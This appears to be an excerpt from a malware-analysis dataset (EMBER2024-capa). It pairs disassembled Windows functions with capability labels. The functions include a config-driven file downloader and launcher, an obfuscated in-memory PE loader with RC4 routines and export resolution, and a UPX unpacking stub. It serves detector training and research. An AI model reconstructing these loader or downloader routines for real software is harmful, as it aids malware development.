joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push esi
push edi
push 0x44
xor edi, edi
pop esi
lea eax, [ebp - 0xa0]
push esi
push edi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x1c]
push edi
push eax
mov dword [ebp - 0xa0], esi
call sub.MSVCRT.dll_memset
add esp, 0x18
mov word [ebp - 0x70], 5
push 1
push edi
push edi
push dword [0x4043b4]
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov eax, dword [0x4043bc]
jle 0x40107c
add eax, 0x60
push eax
lea eax, [ebp - 0x5c]
push 0x3f
push eax
push 0x404068
push str.IDS_OPENSUCESS
push str.CUSTOM
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x10
jmp 0x4010a0
add eax, 0x60
push eax
lea eax, [ebp - 0x5c]
push 0x104
push eax
push 0x404044
push str.IDS_OPENFAIL
push str.CUSTOM
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 3
mov ecx, dword [0x4043bc]
mov esi, 0xbb8
lea eax, [ebp - 0x5c]
push esi
push eax
push dword [0x4043b4]
call fcn.00401d44
mov ecx, dword [0x4043bc]
call fcn.00401a85
test eax, eax
je 0x401109
mov eax, dword [0x4043bc]
add eax, 0x60
push eax
lea eax, [ebp - 0xc]
push 0xa
push eax
push 0x404030
push str.SetHidOnly
push 0x404020
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 1
pop ecx
jne 0x401109
mov ecx, dword [0x4043bc]
call fcn.00401ef2
push dword [0x4043b8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4043bc]
call fcn.00401ed0
mov eax, dword [0x4043bc]
push edi
push edi
push 0x10
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x40113f
Capabilities:
Download url
Read .ini file
Receive data

Disassembly:
mov eax, 0x402688
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x320
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esi + 0x60]
push eax
lea eax, [ebp - 0x124]
push 0x104
push eax
push 0x4042e8
push str.DownLoadFile
push 0x404020
call edi
xor ebx, ebx
lea eax, [ebp - 0x124]
mov dword [esi + 0x178], ebx
push eax
mov dword [esi + 0x17c], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jle 0x401306
lea eax, [ebp - 0x124]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
cmp eax, ebx
pop ecx
jne 0x4011d0
lea eax, [ebp - 0x124]
push 0x2f2f
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x401306
inc eax
push eax
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esi + 0x60]
push eax
lea eax, [ebp - 0x228]
push 0x104
push eax
push 0x4040a8
push str.IDS_DOWNP_TITLE
push str.CUSTOM
call edi
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [esi + 0x4f8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, esi
push 0x404088
push str.IDS_PAPARE
call fcn.00401509
mov edi, 0x403704
push 0x10
push edi
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x4032c8
mov dword [ebp - 0x14], ebx
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
je 0x401265
push 0x10
push edi
push 0x4036f4
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x40126b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.00401476
lea eax, [ebp - 0x32c]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.MFC42.DLL_operator
mov edi, dword [ebp + 8]
push eax
mov ecx, edi
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push dword [ebp - 0x14]
mov edi, dword [edi]
lea eax, [ebp - 0x124]
push ebx
push edi
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
xor eax, eax
cmp edi, ebx
mov ecx, esi
sete al
push eax
mov dword [ebp + 8], eax
call fcn.00401dbd
cmp edi, ebx
jne 0x4012f5
push ebx
push ebx
push 0x1000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp + 8]
jmp 0x401308
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4019e3
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x20]
lea edi, [esi + 0x20c]
mov dword [esi + 0x210], eax
mov dword [esi + 0x214], 0x401
mov dword [edi], 0x1e8
mov dword [esi + 0x218], 7
mov dword [esi + 0x21c], 0x402
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 8]
push 0x81
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esi + 0x220], eax
lea eax, [esi + 0x60]
push eax
lea eax, [ebp - 0x68]
push 0x64
push eax
push str.iKey_Download
push str.Tips
push str.TIPS
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x68]
mov ecx, esi
push eax
call sub.MFC42.DLL_CWnd::SetWindowTextA
lea eax, [ebp - 0x68]
add esi, 0x224
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push 0
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x401a85
Capabilities:
Create process on windows
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
lea ebx, [ecx + 0x60]
mov edi, 0x104
push ebx
lea eax, [ebp - 0x108]
push edi
push eax
push 0x4042e8
push str.OpenWeb
push 0x404020
mov dword [ebp - 4], ecx
call esi
push ebx
lea eax, [ebp - 0x20c]
push edi
push eax
push 0x4041d4
push str.IDS_OPENWEB_TIPS
push str.CUSTOM
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
cmp eax, 1
pop ebx
jle 0x401b2d
mov ecx, dword [ebp - 4]
push 0x10
lea eax, [ebp - 0x20c]
push 0xbb8
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00401d44
xor eax, eax
push 1
push eax
lea ecx, [ebp - 0x108]
push eax
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
leave
ret
push 1
pop eax
leave
ret

Function at 0x401b47
Capabilities:
Create thread
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ecx + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
push eax
lea eax, [ebp - 0x10c]
push 0x104
mov ebx, 0x4042e8
push eax
push ebx
mov edi, 0x404020
push str.OpenWeb
push edi
mov dword [ebp - 4], ecx
call esi
mov eax, dword [ebp - 4]
add eax, 0x60
push eax
lea eax, [ebp - 0x210]
push 0x104
push eax
push ebx
push str.DownLoadFile
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x10c]
push eax
call esi
cmp eax, 1
jg 0x401be0
lea eax, [ebp - 0x210]
push eax
call esi
cmp eax, 1
jg 0x401be0
mov ecx, dword [ebp - 4]
mov esi, 0xbb8
push 0x10
push esi
push 0x404220
push 0x4041f0
call fcn.00401d44
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401c0c
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push esi
push eax
push 0x401b32
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401dbd
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
cmp dword [ebp + 8], 0
mov esi, ecx
lea eax, [esi + 0x60]
push eax
lea eax, [ebp - 0x104]
push 0x104
push eax
je 0x401df8
push 0x404298
push str.IDS_SUCESS_COMMENT
push str.CUSTOM
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 1
jmp 0x401e0f
push 0x404244
push str.IDS_SUCESS_FAILE
push str.CUSTOM
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 3
lea eax, [ebp - 0x104]
push 0x1770
push eax
lea eax, [esi + 0x4f8]
push eax
mov ecx, esi
call fcn.00401d44
pop esi
leave
ret 4
Function at 0x1004c8c7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov dword [0x1013c514], 0x95d
call fcn.10001083
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1004c912
jmp 0x1004ca2a
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x1c], ecx
je 0x1004c9d7
jmp 0x1004c9c3
lea eax, [esp + 0x28]
mov dword [0x1013c514], 0x1c87
mov dword [esp + 0x18], eax
call fcn.1004d3ca
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
jne 0x1004ca22
lea eax, [esp + 0x80]
mov dword [esp], eax
call fcn.1004d5c9
lea ecx, [0x1004ca34]
mov dword [0x1013c514], 0x210b
mov edx, dword [esp + 0x80]
mov dword [esp + 0x28], edx
mov dword [esp + 0x50], 0x134a00
mov edx, dword [0x1013c500]
mov dword [esp + 0x48], edx
mov edx, dword [0x1013c504]
mov dword [esp + 0x58], edx
mov edx, dword [0x1013c508]
mov dword [esp + 0x2c], edx
mov edx, dword [0x1013c50c]
mov dword [esp + 0x64], edx
mov edx, dword [0x1013c510]
mov dword [esp + 0x70], edx
mov dword [0x1013c518], 0x198c
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0xc]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x1004c8f5
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
jmp 0x1004c9b0
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x4c], ecx
mov dword [0x1013c518], 0x76c
mov edx, dword [esp + 0x1c]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x34], esi
mov esi, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1004ca9b
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1004ca9b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [0x1013c514], 0xa46
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1004cb06
lea eax, [ebp - 0x28]
mov dword [0x1013c514], 0x99c
mov dword [ebp - 0x38], eax
call fcn.1004c6ad
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1004d0a2
mov ecx, dword [0x1013c514]
add ecx, 0xffffe9ea
mov dword [0x1013c514], ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
je 0x1004cbe8
jmp 0x1004cb2e
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x1005c569]
mov dl, byte [eax + 0x1005c53a]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
je 0x1004cac0
jmp 0x1004cb06
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.1004ce2e
mov eax, dword [ebp - 0x40]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xc0
mov dword [0x1013c514], 0xad8
mov dword [eax + 0xc0], 0x4550
add eax, 0xffc00000
mov dword [ebp - 0x44], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x10], edx
mov esi, dword [0x1013c514]
mov edi, esi
add edi, 0xfffff066
mov dword [0x1013c514], edi
mov edi, dword [ebp - 0x40]
mov dword [ecx + 0x34], edi
add esi, 0xffffccfd
mov dword [0x1013c518], esi
add edi, 0x2347
mov esi, dword [ebp - 0x40]
cmp esi, 0
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], eax
je 0x1004cbde
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
add esp, 0x54
pop esi
pop edi
pop ebp
ret
xor eax, eax
add esp, 0x54
pop esi
pop edi
pop ebp
ret
Function at 0x1004cbf1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1013c51c], 0
mov dword [0x1013c520], 0
mov dword [0x1013c52c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1004cd89
jmp 0x1004cd66
mov eax, 0x6dc
mov ecx, dword [0x1013c51c]
mov edx, dword [0x1013c520]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
mov edi, 0x100
mov dword [0x1013c518], 0x15cf
add ecx, 1
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x1013c51c], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x38]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x1013c520], edx
mov dword [0x1013c514], esi
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x1013c524], cl
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x1013c518], 0x1471
mov cl, byte [0x1013c524]
mov edx, dword [0x1013c520]
mov byte [edi + edx], cl
mov edx, dword [0x1013c51c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1013c520]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x1013c52c], ebx
mov dword [0x1013c514], 0x2254
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x34]
mov ch, byte [edx + ebx]
mov dl, cl
add dl, byte [0x1013c531]
mov byte [0x1013c530], dl
mov byte [0x1013c531], ch
mov byte [0x1013c532], cl
xor ch, cl
mov dword [0x1013c518], 0x1050
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov dword [0x1013c514], 0x1919
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x20], ebx
je 0x1004cd89
jmp 0x1004cc40
xor eax, eax
mov ecx, dword [0x1013c514]
add ecx, 0xffffedc3
mov edx, eax
mov esi, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], eax
jmp 0x1004cc60
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1004d23d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1004c76a
xor ecx, ecx
mov edx, eax
mov esi, dword [0x1013c514]
mov edi, dword [eax + 0x3c]
mov ebx, edx
add ebx, edi
mov edi, dword [eax + edi]
cmp edi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
je 0x1004d282
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffff104
mov dword [0x1013c518], ecx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edi
je 0x1004d3bf
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jmp 0x1004d338
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 2
mov edx, dword [ebp - 0x44]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jb 0x1004d338
jmp 0x1004d3bf
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x28]
add edx, 0x1c
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
add eax, dword [eax + ecx]
mov edx, dword [ebp - 0x48]
mov eax, dword [eax + edx*4]
mov dword [0x1013c514], 0x1ddf
mov esi, dword [ebp - 0x1c]
add esi, eax
mov dword [ebp - 0x34], esi
jmp 0x1004d3bf
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x2c]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
mov ecx, eax
mov edx, dword [ebp - 0x50]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x59], bh
mov byte [ebp - 0x5a], cl
je 0x1004d3af
mov eax, dword [ebp - 0x58]
add eax, 1
mov cl, byte [ebp - 0x59]
cmp cl, 0
setne dl
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x61], dl
mov al, byte [ebp - 0x5a]
mov cl, byte [ebp - 0x61]
and al, cl
mov edx, dword [ebp - 0x60]
cmp edx, 0x20
setb ah
and al, ah
test al, 1
mov dword [ebp - 0x54], edx
jne 0x1004d352
mov al, byte [ebp - 0x5a]
test al, 1
jne 0x1004d2fd
jmp 0x1004d2d4
mov eax, dword [ebp - 0x34]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1004d3ca
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1013c518], 0x238c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x1004d42b
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x1004d3fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x1004d4ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1004d4ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1004d4ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1004d4ae
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1004d4ae
mov eax, dword [0x1013c514]
add eax, 0x11e7
mov dword [0x1013c518], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1004d4ae
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x1004d4bd
xor eax, eax
mov dword [0x1013c514], 0xb83
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x1004d948
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1013c514]
mov dword [0x1013c520], 0
mov byte [0x1013c524], 0
add edi, 0x2c8
mov dword [0x1013c514], edi
mov dword [0x1013c51c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1004d9a8
xor eax, eax
mov dword [0x1013c51c], 0
mov dword [ebp - 0x20], eax
jmp 0x1004d9e4
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1013c518], 0x32a
mov dword [0x1013c514], 0x28c
mov eax, dword [0x1013c51c]
add eax, 1
mov dword [0x1013c51c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1004d9a8
jmp 0x1004d997
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1013c528], 0
mov edx, dword [0x1013c520]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1013c528], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1013c520], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1013c524], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1013c524]
mov edx, dword [0x1013c520]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1013c514], 0x381
mov edx, dword [0x1013c51c]
add edx, 1
mov dword [0x1013c51c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1004d9e4
mov dword [0x1013c514], 0x214a
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x541710
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe4000]
push edi
jmp 0x54172a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x541731
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x541720
mov eax, 1
add ebx, ebx
jne 0x541743
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x541754
jne 0x541773
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x541773
dec eax
add ebx, ebx
jne 0x541760
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x541738
add ebx, ebx
jne 0x54176f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5417c5
xor ecx, ecx
sub eax, 3
jb 0x54178b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5417fa
sar eax, 1
mov ebp, eax
jmp 0x541796
add ebx, ebx
jne 0x541796
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x541764
inc ecx
add ebx, ebx
jne 0x5417a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x541764
add ebx, ebx
jne 0x5417b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5417a6
jne 0x5417c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5417a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5417e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5417d6
jmp 0x541726
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5417e4
add edi, ecx
jmp 0x541726
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x541802
cmp byte [edi], 0x11
jne 0x541802
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x541807
lea edi, [esi + 0x13a000]
mov eax, dword [edi]
or eax, eax
je 0x54187f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19cf70]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19d0ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x541834
mov ecx, edi
jns 0x541863
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19d0f0]
or eax, eax
je 0x541879
mov dword [ebx], eax
add ebx, 4
jmp 0x541851
call dword [esi + 0x19d100]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5418b0
cmp al, 0xef
ja 0x5418a3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x541885
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x541892
mov ebp, dword [esi + 0x19d0f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5418e4
sub esp, 0xffffff80
jmp 0x420577